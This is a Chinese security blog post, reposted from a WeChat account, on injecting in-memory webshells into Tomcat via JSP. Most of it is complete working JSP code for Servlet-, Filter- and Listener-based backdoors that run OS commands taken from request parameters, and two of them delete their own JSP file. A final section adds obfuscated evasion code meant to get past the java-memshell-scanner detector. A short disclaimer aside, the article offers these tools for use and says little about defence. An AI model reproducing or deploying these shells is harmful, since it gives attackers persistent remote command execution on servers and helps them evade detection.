浅谈基于JSP Webshell内存马的攻与防

admin 2025年7月1日17:17:24评论5 views字数 10254阅读34分10秒阅读模式

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!

0x00 前言

本次研究环境为jdk1.8+Tomcat 9

示例代码参考:

https://github.com/bitterzzZZ/MemoryShellLearn/tree/main/jsp%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC

现在市面上常见的基于JSP Webshell注入内存马的方式有以下三种:

  • 基于Servlet的内存马

  • 基于Filter的内存马

  • 基于Listener的内存马

0x01基于Servlet注入内存马

浅谈基于JSP Webshell内存马的攻与防

在聊基于servlet的内存马之前,我们需要了解四个类ApplicationContextFacadeApplicationContextStandardContextStandardWrapper

ApplicationContextFacade这个类就很好的体现了动态代理这个特性,这里只允许servlet间接(通过ApplicationContextFacade)访问ApplicationContext,这里我们就理解为它是为了通过反射获取ApplicationContext类而生的吧,其实还有很多安全验证机制在里边,太底层了,分析起来有一定难度

浅谈基于JSP Webshell内存马的攻与防

那么接下来就是ApplicationContext就不难理解了,它实现了ServletContext,代表着应用程序上下文,储存着当前的全局信息,同时它在Web应用启动时创建,在Web应用关闭时销毁,它的context属性是下一个关键类StandardContext

浅谈基于JSP Webshell内存马的攻与防

那么StandardContext又是何方神圣呢?简单点说,它是一个Context实例,可以表示一个具体的Web应用程序,其中可包含多个Wrappe实例。后续我们主要使用它重载的createWrapper()方法去实例化一个StandardWrapper对象,这个对象的主要任务是载入它代表的servlet类,并进行实例化,也就是注册Servlet

浅谈基于JSP Webshell内存马的攻与防

总体流程如下

浅谈基于JSP Webshell内存马的攻与防

现在再来看一下完整代码

<%@ page contentType="text/html;charset=UTF-8"%><%@ page import = "org.apache.catalina.core.*"%><%@ page import = "javax.servlet.*"%><%@ page import = "javax.servlet.http.*"%><%@ page import = "java.io.*"%><%@ page import = "java.lang.reflect.Field"%><%    // 一个简单的jsp马    class BackdoorServlet extends HttpServlet {        @Override        public void service(ServletRequest req, ServletResponse res) throws  IOException {            HttpServletRequest request = (HttpServletRequest) req;            HttpServletResponse response = (HttpServletResponse) res;            if (request.getParameter("admin")!=null){                Runtime.getRuntime().exec(request.getParameter("admin"));            }            else{                response.sendError(HttpServletResponse.SC_NOT_FOUND);            }        }    }    // 获取 ApplicationContextFacade 对象    ServletContext servletContext =  request.getSession().getServletContext();    // 通过反射拿属性 context 的 field 对象    Field field = servletContext.getClass().getDeclaredField("context");    // 暴力访问    field.setAccessible(true);    // 拿 applicationContext    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);    // 拿 ApplicationContext 类中 context 的 field对象    field = applicationContext.getClass().getDeclaredField("context");    // 暴力访问    field.setAccessible(true);    // 拿 ApplicationContext 类下 context 的值, 也就是 standardContext    StandardContext standardContext = (StandardContext) field.get(applicationContext);    // 实例化jsp小马    BackdoorServlet backdoorServlet = new BackdoorServlet();    // 注册servlet, 等价于在web.xml中配置servlet与servlet-mapping标签    org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();    backdoorWrapper.setName("index");    backdoorWrapper.setLoadOnStartup(1);    backdoorWrapper.setServlet(backdoorServlet);    backdoorWrapper.setServletClass(backdoorServlet.getClass().getName());    standardContext.addChild(backdoorWrapper);    standardContext.addServletMappingDecoded("/index", "index");    // 自删除    (new File(application.getRealPath(request.getServletPath()))).delete();%>

访问/index?admin=命令即可

浅谈基于JSP Webshell内存马的攻与防

0x02 基于Filter的内存马

有了上面的基础,再来分析filter内存马就不难了,架子不会变很多,变化的地方是反射后的类,要想看懂后边的代码,我们还是要学习一下这些类的,至少知道功能是干嘛的

先来ApplicationFilterConfig类,单从名字就能感觉出来,这个类跟filter的配置是挂钩的,没错,它是FilterConfig接口的实例,在这里我们主要用到了它的构造方法,这个方法就是实例化ApplicationConfigFilter并加载我们的恶意filter到内存中

浅谈基于JSP Webshell内存马的攻与防

来看一下filter马长什么样子吧,注意看注释

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import = "org.apache.catalina.Context" %><%@ page import = "org.apache.catalina.core.ApplicationContext" %><%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import = "org.apache.catalina.core.StandardContext" %><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%><%@ page import = "javax.servlet.*" %><%@ page import = "javax.servlet.annotation.WebServlet" %><%@ page import = "javax.servlet.http.HttpServlet" %><%@ page import = "javax.servlet.http.HttpServletRequest" %><%@ page import = "javax.servlet.http.HttpServletResponse" %><%@ page import = "java.io.IOException" %><%@ page import = "java.lang.reflect.Constructor" %><%@ page import = "java.lang.reflect.Field" %><%@ page import = "java.lang.reflect.InvocationTargetException" %><%@ page import = "java.util.Map" %><%  class DefaultFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {    }    // 注册拦截    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {      HttpServletRequest req = (HttpServletRequest) servletRequest;      HttpServletResponse response = (HttpServletResponse) servletResponse;      // 平平无奇的小马      if (req.getParameter("cmdc") != null) {        Runtime.getRuntime().exec(req.getParameter("cmdc"));        response.getWriter().println("exec done");      }      // 转发请求      filterChain.doFilter(servletRequest, servletResponse);    }    public void destroy() {}  }%><%  String name = "DefaultFilter";  // 获取 ApplicationContextFacade 对象  ServletContext servletContext =  request.getSession().getServletContext();  // 反射获取 ApplicationContext  Field appctx = servletContext.getClass().getDeclaredField("context");  // 暴力访问  appctx.setAccessible(true);  // 拿 applicationContext  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  // 拿 ApplicationContext 类中 context 的 field对象  Field stdctx = applicationContext.getClass().getDeclaredField("context");  // 暴力访问  stdctx.setAccessible(true);  // 反射获取 StandardContext  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  // 拿 filterConfigs属性的反射对象  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");  // 暴力访问  Configs.setAccessible(true);  // 获取web应用的filter配置  Map filterConfigs = (Map) Configs.get(standardContext);  // 判断指定的filter是否注册, 没有就注册  if (filterConfigs.get(name) == null){    // 包含了小马的恶意filter    DefaultFilter filter = new DefaultFilter();    // 设置filter的值并注册filter    FilterDef filterDef = new FilterDef();    filterDef.setFilterName(name);    filterDef.setFilterClass(filter.getClass().getName());    filterDef.setFilter(filter);    standardContext.addFilterDef(filterDef);    FilterMap filterMap = new FilterMap();    // 指定访问路径与转发规则并注册filter-mapper    filterMap.addURLPattern("/abcd");    filterMap.setFilterName(name);    filterMap.setDispatcher(DispatcherType.REQUEST.name());    standardContext.addFilterMapBefore(filterMap);    // 拿 ApplicationFilterConfig 的构造方法    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);    // 暴力访问    constructor.setAccessible(true);    // 实例化 ApplicationFilterConfig 并加载filter到内存中    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);    // 避免二次注入    filterConfigs.put(name, filterConfig);    out.write("Inject success!");  }  else{    out.write("Injected");  }%>

程序大致的执行流程

浅谈基于JSP Webshell内存马的攻与防

浅谈基于JSP Webshell内存马的攻与防

访问/abcd?cmdc=calc解锁计算器

浅谈基于JSP Webshell内存马的攻与防

0x03 基于Listener的内存马

有了上述两个例子,Listener马也不难理解了,注意看注释

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.*" %><%@ page import="javax.servlet.*" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.Field" %><%    // 平平无奇的jsp小马    class BackdoorListener implements ServletRequestListener{        @Override        public void requestInitialized(ServletRequestEvent servletRequestEvent) {            if (request.getParameter("cmd")!=null){                try {                    Runtime.getRuntime().exec(request.getParameter("admin"));                } catch (IOException e) {}            }        }    }    // 获取 ApplicationContextFacade 对象    ServletContext servletContext =  request.getSession().getServletContext();    // 反射获取 ApplicationContext    Field field = servletContext.getClass().getDeclaredField("context");    // 暴力访问    field.setAccessible(true);    // 反射拿 ApplicationContext    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);    field = applicationContext.getClass().getDeclaredField("context");    field.setAccessible(true);    // 反射拿 StandardContext    StandardContext standardContext = (StandardContext) field.get(applicationContext);    // 注册Listener内存马    standardContext.addApplicationEventListener(new BackdoorListener());    // 自删除    (new File(application.getRealPath(request.getServletPath()))).delete();%>

基于JSP webshell的内存马是建立在StandardContext实例之上的,而获取这个类又需要request对象,在一些RCE漏洞利用环境下,是没有request对象的,这里我们可以用一个小trick去绕过,参考https://xz.aliyun.com/t/9914

核心代码:

WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

Listener马执行流程

浅谈基于JSP Webshell内存马的攻与防

访问 /?cmd=&admin=calc 解锁计算器

浅谈基于JSP Webshell内存马的攻与防

0x04 Simple bypass

现在查杀内存马的优秀项目还是很多的,比如arthascopagentjava-memshell-scanner等等,在知道注入流程以及原理之后,更应该考虑免杀的问题,这里对java-memshell-scanner这款内存马查杀工具进行简单的绕过

浅谈基于JSP Webshell内存马的攻与防

示例代码

<%@ page contentType="text/html;charset=UTF-8"%><%@ page import = "org.apache.catalina.core.*"%><%@ page import = "javax.servlet.*"%><%@ page import = "javax.servlet.http.*"%><%@ page import = "java.io.*"%><%@ page import = "java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method" %><%@ page import="java.util.Map" %><%@ page import="java.lang.reflect.InvocationTargetException" %><%    // 一个简单的jsp马    class SysConfig extends HttpServlet {        @Override        public void service(ServletRequest req, ServletResponse res) throws  IOException {            HttpServletRequest request = (HttpServletRequest) req;            HttpServletResponse response = (HttpServletResponse) res;            Class<?> clzz = null;            try {                String str1 = "java.lang.P";                String str2 = "rocessImpl";                clzz = Class.forName(str1+str2);                Method start = clzz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);                start.setAccessible(true);                start.invoke(clzz,new String[]{request.getParameter("arg")},null,null,null,false);            } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {                e.printStackTrace();            }        }    }    // 获取 ApplicationContextFacade 对象    ServletContext servletContext =  request.getSession().getServletContext();    // 通过反射拿属性 context 的 field 对象    Field field = servletContext.getClass().getDeclaredField("context");    // 暴力访问    field.setAccessible(true);    // 拿 applicationContext    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);    // 拿 ApplicationContext 类中 context 的 field对象    field = applicationContext.getClass().getDeclaredField("context");    // 暴力访问    field.setAccessible(true);    // 拿 ApplicationContext 类下 context 的值, 也就是 standardContext    StandardContext standardContext = (StandardContext) field.get(applicationContext);    // 实例化jsp小马    SysConfig Sys = new SysConfig();    // 注册servlet, 等价于在web.xml中配置servlet与servlet-mapping标签    org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();    backdoorWrapper.setName("jsp<script>alert('我怎么会有XSS (狗头) ')</script>");//    backdoorWrapper.setLoadOnStartup(1);    backdoorWrapper.setServlet(Sys);    backdoorWrapper.setServletClass("org.apache.jasper.servlet.JspServlet");    standardContext.addChild(backdoorWrapper);    standardContext.addServletMappingDecoded("*.jspx", "jsp<script>alert('我怎么会有XSS (狗头) ')</script>");    // 自删除    (new File(application.getRealPath(request.getServletPath()))).delete();%>

原文始发于微信公众号(安全日记):浅谈基于JSP Webshell内存马的攻与防

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日17:17:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈基于JSP Webshell内存马的攻与防https://cn-sec.com/archives/1023386.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息